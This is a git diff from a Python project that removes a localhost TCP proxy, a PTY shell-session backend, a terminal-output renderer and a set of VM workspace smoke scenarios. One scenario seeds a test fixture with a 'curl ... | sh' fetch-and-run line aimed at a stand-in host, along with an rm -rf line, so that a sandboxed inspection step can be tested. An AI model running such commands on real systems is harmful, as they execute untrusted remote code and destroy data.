parser = argparse.ArgumentParser(description="Run a localhost-only TCP port proxy.") - parser.add_argument("--listen-host", required=True) - parser.add_argument("--listen-port", type=int, required=True) - parser.add_argument("--target-host", required=True) - parser.add_argument("--target-port", type=int, required=True) - parser.add_argument("--ready-file", required=True) - return parser - - -def main(argv: list[str] | None = None) -> int: - args = _build_parser().parse_args(argv) - ready_file = Path(args.ready_file) - ready_file.parent.mkdir(parents=True, exist_ok=True) - server = _ProxyServer( - (str(args.listen_host), int(args.listen_port)), - (str(args.target_host), int(args.target_port)), - ) - actual_host = str(server.server_address[0]) - actual_port = int(server.server_address[1]) - ready_file.write_text( - json.dumps( - { - "host": actual_host, - "host_port": actual_port, - "target_host": args.target_host, - "target_port": int(args.target_port), - "protocol": "tcp", - }, - indent=2, - sort_keys=True, - ), - encoding="utf-8", - ) - - def _shutdown(_: int, __: object) -> None: - threading.Thread(target=server.shutdown, daemon=True).start() - - signal.signal(signal.SIGTERM, _shutdown) - signal.signal(signal.SIGINT, _shutdown) - try: - server.serve_forever(poll_interval=0.2) - finally: - server.server_close() - return 0 - - -if __name__ == "__main__": - raise SystemExit(main(sys.argv[1:])) diff --git a/src/pyro_mcp/workspace_shell_output.py b/src/pyro_mcp/workspace_shell_output.py deleted file mode 100644 index 94dacc6..0000000 --- a/src/pyro_mcp/workspace_shell_output.py +++ /dev/null @@ -1,116 +0,0 @@ -"""Helpers for chat-friendly workspace shell output rendering.""" - -from __future__ import annotations - - -def _apply_csi( - final: str, - parameters: str, - line: list[str], - cursor: int, - lines: list[str], -) -> tuple[list[str], int, list[str]]: - if final == "K": - mode = parameters or "0" - if mode in {"0", ""}: - del line[cursor:] - elif mode == "1": - for index in range(min(cursor, len(line))): - line[index] = " " - elif mode == "2": - line.clear() - cursor = 0 - elif final == "J": - mode = parameters or "0" - if mode in {"2", "3"}: - lines.clear() - line.clear() - cursor = 0 - return line, cursor, lines - - -def _consume_escape_sequence( - text: str, - index: int, - line: list[str], - cursor: int, - lines: list[str], -) -> tuple[int, list[str], int, list[str]]: - if index + 1 >= len(text): - return len(text), line, cursor, lines - leader = text[index + 1] - if leader == "[": - cursor_index = index + 2 - while cursor_index < len(text): - char = text[cursor_index] - if "\x40" <= char <= "\x7e": - parameters = text[index + 2 : cursor_index] - line, cursor, lines = _apply_csi(char, parameters, line, cursor, lines) - return cursor_index + 1, line, cursor, lines - cursor_index += 1 - return len(text), line, cursor, lines - if leader in {"]", "P", "_", "^"}: - cursor_index = index + 2 - while cursor_index < len(text): - char = text[cursor_index] - if char == "\x07": - return cursor_index + 1, line, cursor, lines - if char == "\x1b" and cursor_index + 1 < len(text) and text[cursor_index + 1] == "\\": - return cursor_index + 2, line, cursor, lines - cursor_index += 1 - return len(text), line, cursor, lines - if leader == "O": - return min(index + 3, len(text)), line, cursor, lines - return min(index + 2, len(text)), line, cursor, lines - - -def render_plain_shell_output(raw_text: str) -> str: - """Render PTY output into chat-friendly plain text.""" - lines: list[str] = [] - line: list[str] = [] - cursor = 0 - ended_with_newline = False - index = 0 - while index < len(raw_text): - char = raw_text[index] - if char == "\x1b": - index, line, cursor, lines = _consume_escape_sequence( - raw_text, - index, - line, - cursor, - lines, - ) - ended_with_newline = False - continue - if char == "\r": - cursor = 0 - ended_with_newline = False - index += 1 - continue - if char == "\n": - lines.append("".join(line)) - line = [] - cursor = 0 - ended_with_newline = True - index += 1 - continue - if char == "\b": - if cursor > 0: - cursor -= 1 - if cursor < len(line): - del line[cursor] - ended_with_newline = False - index += 1 - continue - if char == "\t" or (ord(char) >= 32 and ord(char) != 127): - if cursor < len(line): - line[cursor] = char - else: - line.append(char) - cursor += 1 - ended_with_newline = False - index += 1 - if line or ended_with_newline: - lines.append("".join(line)) - return "\n".join(lines) diff --git a/src/pyro_mcp/workspace_shells.py b/src/pyro_mcp/workspace_shells.py deleted file mode 100644 index e439042..0000000 --- a/src/pyro_mcp/workspace_shells.py +++ /dev/null @@ -1,360 +0,0 @@ -"""Local PTY-backed shell sessions for the mock workspace backend.""" - -from __future__ import annotations - -import codecs -import fcntl -import os -import shlex -import shutil -import signal -import struct -import subprocess -import termios -import threading -import time -from pathlib import Path -from typing import IO, Literal - -ShellState = Literal["running", "stopped"] - -SHELL_SIGNAL_NAMES = ("HUP", "INT", "TERM", "KILL") -_SHELL_SIGNAL_MAP = { - "HUP": signal.SIGHUP, - "INT": signal.SIGINT, - "TERM": signal.SIGTERM, - "KILL": signal.SIGKILL, -} - -_LOCAL_SHELLS: dict[str, "LocalShellSession"] = {} -_LOCAL_SHELLS_LOCK = threading.Lock() - - -def _shell_argv(*, interactive: bool) -> list[str]: - shell_program = shutil.which("bash") or "/bin/sh" - argv = [shell_program] - if shell_program.endswith("bash"): - argv.extend(["--noprofile", "--norc"]) - if interactive: - argv.append("-i") - return argv - - -def _redact_text(text: str, redact_values: list[str]) -> str: - redacted = text - for secret_value in sorted( - {item for item in redact_values if item != ""}, - key=len, - reverse=True, - ): - redacted = redacted.replace(secret_value, "[REDACTED]") - return redacted - - -def _set_pty_size(fd: int, rows: int, cols: int) -> None: - winsize = struct.pack("HHHH", rows, cols, 0, 0) - fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) - - -class LocalShellSession: - """Host-local interactive shell used by the mock backend.""" - - def __init__( - self, - *, - shell_id: str, - cwd: Path, - display_cwd: str, - cols: int, - rows: int, - env_overrides: dict[str, str] | None = None, - redact_values: list[str] | None = None, - ) -> None: - self.shell_id = shell_id - self.cwd = display_cwd - self.cols = cols - self.rows = rows - self.started_at = time.time() - self.ended_at: float | None = None - self.exit_code: int | None = None - self.state: ShellState = "running" - self.pid: int | None = None - self._lock = threading.RLock() - self._output = "" - self._master_fd: int | None = None - self._input_pipe: IO[bytes] | None = None - self._output_pipe: IO[bytes] | None = None - self._reader: threading.Thread | None = None - self._waiter: threading.Thread | None = None - self._decoder = codecs.getincrementaldecoder("utf-8")("replace") - self._redact_values = list(redact_values or []) - env = os.environ.copy() - env.update( - { - "TERM": env.get("TERM", "xterm-256color"), - "PS1": "pyro$ ", - "PROMPT_COMMAND": "", - } - ) - if env_overrides is not None: - env.update(env_overrides) - - process: subprocess.Popen[bytes] - try: - master_fd, slave_fd = os.openpty() - except OSError: - process = subprocess.Popen( # noqa: S603 - _shell_argv(interactive=False), - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - cwd=str(cwd), - env=env, - text=False, - close_fds=True, - preexec_fn=os.setsid, - ) - self._input_pipe = process.stdin - self._output_pipe = process.stdout - else: - try: - _set_pty_size(slave_fd, rows, cols) - process = subprocess.Popen( # noqa: S603 - _shell_argv(interactive=True), - stdin=slave_fd, - stdout=slave_fd, - stderr=slave_fd, - cwd=str(cwd), - env=env, - text=False, - close_fds=True, - preexec_fn=os.setsid, - ) - except Exception: - os.close(master_fd) - raise - finally: - os.close(slave_fd) - self._master_fd = master_fd - - self._process = process - self.pid = process.pid - self._reader = threading.Thread(target=self._reader_loop, daemon=True) - self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) - self._reader.start() - self._waiter.start() - - def summary(self) -> dict[str, object]: - with self._lock: - return { - "shell_id": self.shell_id, - "cwd": self.cwd, - "cols": self.cols, - "rows": self.rows, - "state": self.state, - "started_at": self.started_at, - "ended_at": self.ended_at, - "exit_code": self.exit_code, - "pid": self.pid, - } - - def read(self, *, cursor: int, max_chars: int) -> dict[str, object]: - with self._lock: - redacted_output = _redact_text(self._output, self._redact_values) - clamped_cursor = min(max(cursor, 0), len(redacted_output)) - output = redacted_output[clamped_cursor : clamped_cursor + max_chars] - next_cursor = clamped_cursor + len(output) - payload = self.summary() - payload.update( - { - "cursor": clamped_cursor, - "next_cursor": next_cursor, - "output": output, - "truncated": next_cursor < len(redacted_output), - } - ) - return payload - - def write(self, text: str, *, append_newline: bool) -> dict[str, object]: - if self._process.poll() is not None: - self._refresh_process_state() - with self._lock: - if self.state != "running": - raise RuntimeError(f"shell {self.shell_id} is not running") - master_fd = self._master_fd - input_pipe = self._input_pipe - payload = text + ("\n" if append_newline else "") - try: - if master_fd is not None: - os.write(master_fd, payload.encode("utf-8")) - else: - if input_pipe is None: - raise RuntimeError(f"shell {self.shell_id} transport is unavailable") - input_pipe.write(payload.encode("utf-8")) - input_pipe.flush() - except OSError as exc: - self._refresh_process_state() - raise RuntimeError(f"failed to write to shell {self.shell_id}: {exc}") from exc - result = self.summary() - result.update({"input_length": len(text), "append_newline": append_newline}) - return result - - def send_signal(self, signal_name: str) -> dict[str, object]: - signal_name = signal_name.upper() - signum = _SHELL_SIGNAL_MAP.get(signal_name) - if signum is None: - raise ValueError(f"unsupported shell signal: {signal_name}") - if self._process.poll() is not None: - self._refresh_process_state() - with self._lock: - if self.state != "running" or self.pid is None: - raise RuntimeError(f"shell {self.shell_id} is not running") - pid = self.pid - try: - os.killpg(pid, signum) - except ProcessLookupError as exc: - self._refresh_process_state() - raise RuntimeError(f"shell {self.shell_id} is not running") from exc - result = self.summary() - result["signal"] = signal_name - return result - - def close(self) -> dict[str, object]: - if self._process.poll() is None and self.pid is not None: - try: - os.killpg(self.pid, signal.SIGHUP) - except ProcessLookupError: - pass - try: - self._process.wait(timeout=5) - except subprocess.TimeoutExpired: - try: - os.killpg(self.pid, signal.SIGKILL) - except ProcessLookupError: - pass - self._process.wait(timeout=5) - else: - self._refresh_process_state() - self._close_master_fd() - if self._reader is not None: - self._reader.join(timeout=1) - if self._waiter is not None: - self._waiter.join(timeout=1) - result = self.summary() - result["closed"] = True - return result - - def _reader_loop(self) -> None: - master_fd = self._master_fd - output_pipe = self._output_pipe - if master_fd is None and output_pipe is None: - return - while True: - try: - if master_fd is not None: - chunk = os.read(master_fd, 65536) - else: - if output_pipe is None: - break - chunk = os.read(output_pipe.fileno(), 65536) - except OSError: - break - if chunk == b"": - break - decoded = self._decoder.decode(chunk) - if decoded: - with self._lock: - self._output += decoded - decoded = self._decoder.decode(b"", final=True) - if decoded: - with self._lock: - self._output += decoded - - def _waiter_loop(self) -> None: - exit_code = self._process.wait() - with self._lock: - self.state = "stopped" - self.exit_code = exit_code - self.ended_at = time.time() - - def _refresh_process_state(self) -> None: - exit_code = self._process.poll() - if exit_code is None: - return - with self._lock: - if self.state == "running": - self.state = "stopped" - self.exit_code = exit_code - self.ended_at = time.time() - - def _close_master_fd(self) -> None: - with self._lock: - master_fd = self._master_fd - self._master_fd = None - input_pipe = self._input_pipe - self._input_pipe = None - output_pipe = self._output_pipe - self._output_pipe = None - if input_pipe is not None: - input_pipe.close() - if output_pipe is not None: - output_pipe.close() - if master_fd is None: - return - try: - os.close(master_fd) - except OSError: - pass - - -def create_local_shell( - *, - workspace_id: str, - shell_id: str, - cwd: Path, - display_cwd: str, - cols: int, - rows: int, - env_overrides: dict[str, str] | None = None, - redact_values: list[str] | None = None, -) -> LocalShellSession: - session_key = f"{workspace_id}:{shell_id}" - with _LOCAL_SHELLS_LOCK: - if session_key in _LOCAL_SHELLS: - raise RuntimeError(f"shell {shell_id} already exists in workspace {workspace_id}") - session = LocalShellSession( - shell_id=shell_id, - cwd=cwd, - display_cwd=display_cwd, - cols=cols, - rows=rows, - env_overrides=env_overrides, - redact_values=redact_values, - ) - _LOCAL_SHELLS[session_key] = session - return session - - -def get_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession: - session_key = f"{workspace_id}:{shell_id}" - with _LOCAL_SHELLS_LOCK: - try: - return _LOCAL_SHELLS[session_key] - except KeyError as exc: - raise ValueError( - f"shell {shell_id!r} does not exist in workspace {workspace_id!r}" - ) from exc - - -def remove_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession | None: - session_key = f"{workspace_id}:{shell_id}" - with _LOCAL_SHELLS_LOCK: - return _LOCAL_SHELLS.pop(session_key, None) - - -def shell_signal_names() -> tuple[str, ...]: - return SHELL_SIGNAL_NAMES - - -def shell_signal_arg_help() -> str: - return ", ".join(shlex.quote(name) for name in SHELL_SIGNAL_NAMES) diff --git a/src/pyro_mcp/workspace_use_case_smokes.py b/src/pyro_mcp/workspace_use_case_smokes.py deleted file mode 100644 index b69a90d..0000000 --- a/src/pyro_mcp/workspace_use_case_smokes.py +++ /dev/null @@ -1,541 +0,0 @@ -"""Canonical workspace use-case recipes and smoke scenarios.""" - -from __future__ import annotations - -import argparse -import asyncio -import tempfile -import time -from dataclasses import dataclass -from pathlib import Path -from typing import Callable, Final, Literal - -from pyro_mcp.api import Pyro - -DEFAULT_USE_CASE_ENVIRONMENT: Final[str] = "debian:12" -USE_CASE_SUITE_LABEL: Final[str] = "workspace-use-case-smoke" -USE_CASE_SCENARIOS: Final[tuple[str, ...]] = ( - "cold-start-validation", - "repro-fix-loop", - "parallel-workspaces", - "untrusted-inspection", - "review-eval", -) -USE_CASE_ALL_SCENARIO: Final[str] = "all" -USE_CASE_CHOICES: Final[tuple[str, ...]] = USE_CASE_SCENARIOS + (USE_CASE_ALL_SCENARIO,) - - -@dataclass(frozen=True) -class WorkspaceUseCaseRecipe: - scenario: str - title: str - mode: Literal["repro-fix", "inspect", "cold-start", "review-eval"] - smoke_target: str - doc_path: str - summary: str - - -WORKSPACE_USE_CASE_RECIPES: Final[tuple[WorkspaceUseCaseRecipe, ...]] = ( - WorkspaceUseCaseRecipe( - scenario="cold-start-validation", - title="Cold-Start Repo Validation", - mode="cold-start", - smoke_target="smoke-cold-start-validation", - doc_path="docs/use-cases/cold-start-repo-validation.md", - summary=( - "Seed a small repo, validate it, run one long-lived service, probe it, " - "and export a report." - ), - ), - WorkspaceUseCaseRecipe( - scenario="repro-fix-loop", - title="Repro Plus Fix Loop", - mode="repro-fix", - smoke_target="smoke-repro-fix-loop", - doc_path="docs/use-cases/repro-fix-loop.md", - summary=( - "Reproduce a failure, patch it with model-native file ops, rerun, diff, " - "export, and reset." - ), - ), - WorkspaceUseCaseRecipe( - scenario="parallel-workspaces", - title="Parallel Isolated Workspaces", - mode="repro-fix", - smoke_target="smoke-parallel-workspaces", - doc_path="docs/use-cases/parallel-workspaces.md", - summary=( - "Create and manage multiple named workspaces, mutate them independently, " - "and verify isolation." - ), - ), - WorkspaceUseCaseRecipe( - scenario="untrusted-inspection", - title="Unsafe Or Untrusted Code Inspection", - mode="inspect", - smoke_target="smoke-untrusted-inspection", - doc_path="docs/use-cases/untrusted-inspection.md", - summary=( - "Inspect suspicious files offline-by-default, generate a report, and " - "export only explicit results." - ), - ), - WorkspaceUseCaseRecipe( - scenario="review-eval", - title="Review And Evaluation Workflows", - mode="review-eval", - smoke_target="smoke-review-eval", - doc_path="docs/use-cases/review-eval-workflows.md", - summary=( - "Walk a checklist through a PTY shell, run an evaluation, export the " - "report, and reset to a checkpoint." - ), - ), -) - -_RECIPE_BY_SCENARIO: Final[dict[str, WorkspaceUseCaseRecipe]] = { - recipe.scenario: recipe for recipe in WORKSPACE_USE_CASE_RECIPES -} -ScenarioRunner = Callable[..., None] - - -def _write_text(path: Path, text: str) -> None: - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text(text, encoding="utf-8") - - -def _log(message: str) -> None: - print(f"[smoke] {message}", flush=True) - - -def _extract_structured_tool_result(raw_result: object) -> dict[str, object]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected MCP tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return structured - - -def _create_workspace( - pyro: Pyro, - *, - environment: str, - seed_path: Path, - name: str, - labels: dict[str, str], - network_policy: str = "off", -) -> str: - created = pyro.create_workspace( - environment=environment, - seed_path=seed_path, - name=name, - labels=labels, - network_policy=network_policy, - ) - return str(created["workspace_id"]) - - -def _create_project_aware_workspace( - pyro: Pyro, - *, - environment: str, - project_path: Path, - mode: Literal["repro-fix", "cold-start"], - name: str, - labels: dict[str, str], -) -> dict[str, object]: - async def _run() -> dict[str, object]: - server = pyro.create_server(mode=mode, project_path=project_path) - return _extract_structured_tool_result( - await server.call_tool( - "workspace_create", - { - "environment": environment, - "name": name, - "labels": labels, - }, - ) - ) - - return asyncio.run(_run()) - - -def _safe_delete_workspace(pyro: Pyro, workspace_id: str | None) -> None: - if workspace_id is None: - return - try: - pyro.delete_workspace(workspace_id) - except Exception: - return - - -def _scenario_cold_start_validation(pyro: Pyro, *, root: Path, environment: str) -> None: - seed_dir = root / "seed" - export_dir = root / "export" - _write_text( - seed_dir / "README.md", - "# cold-start validation\n\nRun `sh validate.sh` and keep `sh serve.sh` alive.\n", - ) - _write_text( - seed_dir / "validate.sh", - "#!/bin/sh\n" - "set -eu\n" - "printf '%s\\n' 'validation=pass' > validation-report.txt\n" - "printf '%s\\n' 'validated'\n", - ) - _write_text( - seed_dir / "serve.sh", - "#!/bin/sh\n" - "set -eu\n" - "printf '%s\\n' 'service started'\n" - "printf '%s\\n' 'service=ready' > service-state.txt\n" - "touch .app-ready\n" - "while true; do sleep 60; done\n", - ) - workspace_id: str | None = None - try: - created = _create_project_aware_workspace( - pyro, - environment=environment, - project_path=seed_dir, - mode="cold-start", - name="cold-start-validation", - labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "cold-start-validation"}, - ) - workspace_id = str(created["workspace_id"]) - _log(f"cold-start-validation workspace_id={workspace_id}") - workspace_seed = created["workspace_seed"] - assert isinstance(workspace_seed, dict), created - assert workspace_seed["origin_kind"] == "project_path", created - validation = pyro.exec_workspace(workspace_id, command="sh validate.sh") - assert int(validation["exit_code"]) == 0, validation - assert str(validation["stdout"]) == "validated\n", validation - assert str(validation["execution_mode"]) == "guest_vsock", validation - service = pyro.start_service( - workspace_id, - "app", - command="sh serve.sh", - readiness={"type": "file", "path": ".app-ready"}, - ) - assert str(service["state"]) == "running", service - probe = pyro.exec_workspace( - workspace_id, - command="sh -lc 'test -f .app-ready && cat service-state.txt'", - ) - assert probe["stdout"] == "service=ready\n", probe - logs = pyro.logs_service(workspace_id, "app", tail_lines=20) - assert "service started" in str(logs["stdout"]), logs - export_path = export_dir / "validation-report.txt" - pyro.export_workspace(workspace_id, "validation-report.txt", output_path=export_path) - assert export_path.read_text(encoding="utf-8") == "validation=pass\n" - stopped = pyro.stop_service(workspace_id, "app") - assert str(stopped["state"]) == "stopped", stopped - finally: - _safe_delete_workspace(pyro, workspace_id) - - -def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> None: - seed_dir = root / "seed" - export_dir = root / "export" - patch_path = root / "fix.patch" - _write_text(seed_dir / "message.txt", "broken\n") - _write_text( - seed_dir / "check.sh", - "#!/bin/sh\n" - "set -eu\n" - "value=$(cat message.txt)\n" - "[ \"$value\" = \"fixed\" ] || {\n" - " printf 'expected fixed got %s\\n' \"$value\" >&2\n" - " exit 1\n" - "}\n" - "printf '%s\\n' \"$value\"\n", - ) - _write_text( - patch_path, - "--- a/message.txt\n" - "+++ b/message.txt\n" - "@@ -1 +1 @@\n" - "-broken\n" - "+fixed\n", - ) - workspace_id: str | None = None - try: - created = _create_project_aware_workspace( - pyro, - environment=environment, - project_path=seed_dir, - mode="repro-fix", - name="repro-fix-loop", - labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "repro-fix-loop"}, - ) - workspace_id = str(created["workspace_id"]) - _log(f"repro-fix-loop workspace_id={workspace_id}") - workspace_seed = created["workspace_seed"] - assert isinstance(workspace_seed, dict), created - assert workspace_seed["origin_kind"] == "project_path", created - assert workspace_seed["origin_ref"] == str(seed_dir.resolve()), created - initial_read = pyro.read_workspace_file(workspace_id, "message.txt") - assert str(initial_read["content"]) == "broken\n", initial_read - failing = pyro.exec_workspace(workspace_id, command="sh check.sh") - assert int(failing["exit_code"]) != 0, failing - patch_result = pyro.apply_workspace_patch( - workspace_id, - patch=patch_path.read_text(encoding="utf-8"), - ) - assert bool(patch_result["changed"]) is True, patch_result - passing = pyro.exec_workspace(workspace_id, command="sh check.sh") - assert int(passing["exit_code"]) == 0, passing - assert str(passing["stdout"]) == "fixed\n", passing - diff = pyro.diff_workspace(workspace_id) - assert bool(diff["changed"]) is True, diff - export_path = export_dir / "message.txt" - pyro.export_workspace(workspace_id, "message.txt", output_path=export_path) - assert export_path.read_text(encoding="utf-8") == "fixed\n" - reset = pyro.reset_workspace(workspace_id) - assert int(reset["reset_count"]) == 1, reset - clean = pyro.diff_workspace(workspace_id) - assert bool(clean["changed"]) is False, clean - finally: - _safe_delete_workspace(pyro, workspace_id) - - -def _scenario_parallel_workspaces(pyro: Pyro, *, root: Path, environment: str) -> None: - seed_dir = root / "seed" - _write_text(seed_dir / "note.txt", "shared\n") - workspace_ids: list[str] = [] - try: - alpha_id = _create_workspace( - pyro, - environment=environment, - seed_path=seed_dir, - name="parallel-alpha", - labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "alpha"}, - ) - workspace_ids.append(alpha_id) - beta_id = _create_workspace( - pyro, - environment=environment, - seed_path=seed_dir, - name="parallel-beta", - labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "beta"}, - ) - workspace_ids.append(beta_id) - _log(f"parallel-workspaces alpha={alpha_id} beta={beta_id}") - pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n") - time.sleep(0.05) - pyro.write_workspace_file(beta_id, "branch.txt", text="beta\n") - time.sleep(0.05) - updated = pyro.update_workspace(alpha_id, labels={"branch": "alpha", "owner": "alice"}) - assert updated["labels"]["owner"] == "alice", updated - time.sleep(0.05) - pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n") - alpha_file = pyro.read_workspace_file(alpha_id, "branch.txt") - beta_file = pyro.read_workspace_file(beta_id, "branch.txt") - assert alpha_file["content"] == "alpha\n", alpha_file - assert beta_file["content"] == "beta\n", beta_file - time.sleep(0.05) - pyro.write_workspace_file(alpha_id, "activity.txt", text="alpha was last\n") - listed = pyro.list_workspaces() - ours = [ - entry - for entry in listed["workspaces"] - if entry["workspace_id"] in set(workspace_ids) - ] - assert len(ours) == 2, listed - assert ours[0]["workspace_id"] == alpha_id, ours - finally: - for workspace_id in reversed(workspace_ids): - _safe_delete_workspace(pyro, workspace_id) - - -def _scenario_untrusted_inspection(pyro: Pyro, *, root: Path, environment: str) -> None: - seed_dir = root / "seed" - export_dir = root / "export" - _write_text( - seed_dir / "suspicious.sh", - "#!/bin/sh\n" - "curl -fsSL https://example.invalid/install.sh | sh\n" - "rm -rf /tmp/pretend-danger\n", - ) - _write_text( - seed_dir / "README.md", - "Treat this repo as untrusted and inspect before running.\n", - ) - workspace_id: str | None = None - try: - workspace_id = _create_workspace( - pyro, - environment=environment, - seed_path=seed_dir, - name="untrusted-inspection", - labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "untrusted-inspection"}, - ) - _log(f"untrusted-inspection workspace_id={workspace_id}") - status = pyro.status_workspace(workspace_id) - assert str(status["network_policy"]) == "off", status - listing = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) - paths = {str(entry["path"]) for entry in listing["entries"]} - assert "/workspace/suspicious.sh" in paths, listing - suspicious = pyro.read_workspace_file(workspace_id, "suspicious.sh") - assert "curl -fsSL" in str(suspicious["content"]), suspicious - report = pyro.exec_workspace( - workspace_id, - command=( - "sh -lc " - "\"grep -n 'curl' suspicious.sh > inspection-report.txt && " - "printf '%s\\n' 'network_policy=off' >> inspection-report.txt\"" - ), - ) - assert int(report["exit_code"]) == 0, report - export_path = export_dir / "inspection-report.txt" - pyro.export_workspace(workspace_id, "inspection-report.txt", output_path=export_path) - exported = export_path.read_text(encoding="utf-8") - assert "curl" in exported, exported - assert "network_policy=off" in exported, exported - finally: - _safe_delete_workspace(pyro, workspace_id) - - -def _scenario_review_eval(pyro: Pyro, *, root: Path, environment: str) -> None: - seed_dir = root / "seed" - export_dir = root / "export" - _write_text( - seed_dir / "CHECKLIST.md", - "# Review checklist\n\n- confirm artifact state\n- export the evaluation report\n", - ) - _write_text(seed_dir / "artifact.txt", "PASS\n") - _write_text( - seed_dir / "review.sh", - "#!/bin/sh\n" - "set -eu\n" - "if grep -qx 'PASS' artifact.txt; then\n" - " printf '%s\\n' 'review=pass' > review-report.txt\n" - " printf '%s\\n' 'review passed'\n" - "else\n" - " printf '%s\\n' 'review=fail' > review-report.txt\n" - " printf '%s\\n' 'review failed' >&2\n" - " exit 1\n" - "fi\n", - ) - workspace_id: str | None = None - shell_id: str | None = None - try: - workspace_id = _create_workspace( - pyro, - environment=environment, - seed_path=seed_dir, - name="review-eval", - labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "review-eval"}, - ) - _log(f"review-eval workspace_id={workspace_id}") - baseline_snapshot = pyro.create_snapshot(workspace_id, "pre-review") - assert baseline_snapshot["snapshot"]["snapshot_name"] == "pre-review", baseline_snapshot - shell = pyro.open_shell(workspace_id) - shell_id = str(shell["shell_id"]) - initial = pyro.read_shell( - workspace_id, - shell_id, - cursor=0, - plain=True, - wait_for_idle_ms=300, - ) - pyro.write_shell(workspace_id, shell_id, input="cat CHECKLIST.md") - read = pyro.read_shell( - workspace_id, - shell_id, - cursor=int(initial["next_cursor"]), - plain=True, - wait_for_idle_ms=300, - ) - assert "Review checklist" in str(read["output"]), read - closed = pyro.close_shell(workspace_id, shell_id) - assert bool(closed["closed"]) is True, closed - shell_id = None - evaluation = pyro.exec_workspace(workspace_id, command="sh review.sh") - assert int(evaluation["exit_code"]) == 0, evaluation - pyro.write_workspace_file(workspace_id, "artifact.txt", text="FAIL\n") - reset = pyro.reset_workspace(workspace_id, snapshot="pre-review") - assert reset["workspace_reset"]["snapshot_name"] == "pre-review", reset - artifact = pyro.read_workspace_file(workspace_id, "artifact.txt") - assert artifact["content"] == "PASS\n", artifact - export_path = export_dir / "review-report.txt" - rerun = pyro.exec_workspace(workspace_id, command="sh review.sh") - assert int(rerun["exit_code"]) == 0, rerun - pyro.export_workspace(workspace_id, "review-report.txt", output_path=export_path) - assert export_path.read_text(encoding="utf-8") == "review=pass\n" - summary = pyro.summarize_workspace(workspace_id) - assert summary["workspace_id"] == workspace_id, summary - assert summary["changes"]["available"] is True, summary - assert summary["artifacts"]["exports"], summary - assert summary["snapshots"]["named_count"] >= 1, summary - finally: - if shell_id is not None and workspace_id is not None: - try: - pyro.close_shell(workspace_id, shell_id) - except Exception: - pass - _safe_delete_workspace(pyro, workspace_id) - - -_SCENARIO_RUNNERS: Final[dict[str, ScenarioRunner]] = { - "cold-start-validation": _scenario_cold_start_validation, - "repro-fix-loop": _scenario_repro_fix_loop, - "parallel-workspaces": _scenario_parallel_workspaces, - "untrusted-inspection": _scenario_untrusted_inspection, - "review-eval": _scenario_review_eval, -} - - -def run_workspace_use_case_scenario( - scenario: str, - *, - environment: str = DEFAULT_USE_CASE_ENVIRONMENT, -) -> None: - if scenario not in USE_CASE_CHOICES: - expected = ", ".join(USE_CASE_CHOICES) - raise ValueError(f"unknown use-case scenario {scenario!r}; expected one of: {expected}") - - pyro = Pyro() - with tempfile.TemporaryDirectory(prefix="pyro-workspace-use-case-") as temp_dir: - root = Path(temp_dir) - scenario_names = USE_CASE_SCENARIOS if scenario == USE_CASE_ALL_SCENARIO else (scenario,) - for scenario_name in scenario_names: - recipe = _RECIPE_BY_SCENARIO[scenario_name] - _log(f"starting {recipe.scenario} ({recipe.title}) mode={recipe.mode}") - scenario_root = root / scenario_name - scenario_root.mkdir(parents=True, exist_ok=True) - runner = _SCENARIO_RUNNERS[scenario_name] - runner(pyro, root=scenario_root, environment=environment) - _log(f"completed {recipe.scenario}") - - -def build_arg_parser() -> argparse.ArgumentParser: - parser = argparse.ArgumentParser( - prog="workspace_use_case_smoke", - description="Run real guest-backed workspace use-case smoke scenarios.", - ) - parser.add_argument( - "--scenario", - choices=USE_CASE_CHOICES, - default=USE_CASE_ALL_SCENARIO, - help="Use-case scenario to run. Defaults to all scenarios.", - ) - parser.add_argument( - "--environment", - default=DEFAULT_USE_CASE_ENVIRONMENT, - help="Curated environment to use for the workspace scenarios.", - ) - return parser - - -def main() -> None: - args = build_arg_parser().parse_args() - run_workspace_use_case_scenario( - str(args.scenario), - environment=str(args.environment), - ) - - -if __name__ == "__main__": - main() diff --git a/tests/test_api.py b/tests/test_api.py index 56b461f..a58d153 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -1,49 +1,14 @@ from __future__ import annotations import asyncio -import subprocess -import time from pathlib import Path from typing import Any, cast -import pytest - from pyro_mcp.api import Pyro -from pyro_mcp.contract import ( - PUBLIC_MCP_COLD_START_MODE_TOOLS, - PUBLIC_MCP_INSPECT_MODE_TOOLS, - PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, - PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS, - PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, - PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, - PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, -) from pyro_mcp.vm_manager import VmManager from pyro_mcp.vm_network import TapNetworkManager -def _git(repo: Path, *args: str) -> str: - result = subprocess.run( # noqa: S603 - ["git", "-c", "commit.gpgsign=false", *args], - cwd=repo, - check=True, - capture_output=True, - text=True, - ) - return result.stdout.strip() - - -def _make_repo(root: Path, *, content: str = "hello\n") -> Path: - root.mkdir() - _git(root, "init") - _git(root, "config", "user.name", "Pyro Tests") - _git(root, "config", "user.email", "pyro-tests@example.com") - (root / "note.txt").write_text(content, encoding="utf-8") - _git(root, "add", "note.txt") - _git(root, "commit", "-m", "init") - return root - - def test_pyro_run_in_vm_delegates_to_manager(tmp_path: Path) -> None: pyro = Pyro( manager=VmManager( @@ -60,13 +25,12 @@ def test_pyro_run_in_vm_delegates_to_manager(tmp_path: Path) -> None: timeout_seconds=30, ttl_seconds=600, network=False, - allow_host_compat=True, ) 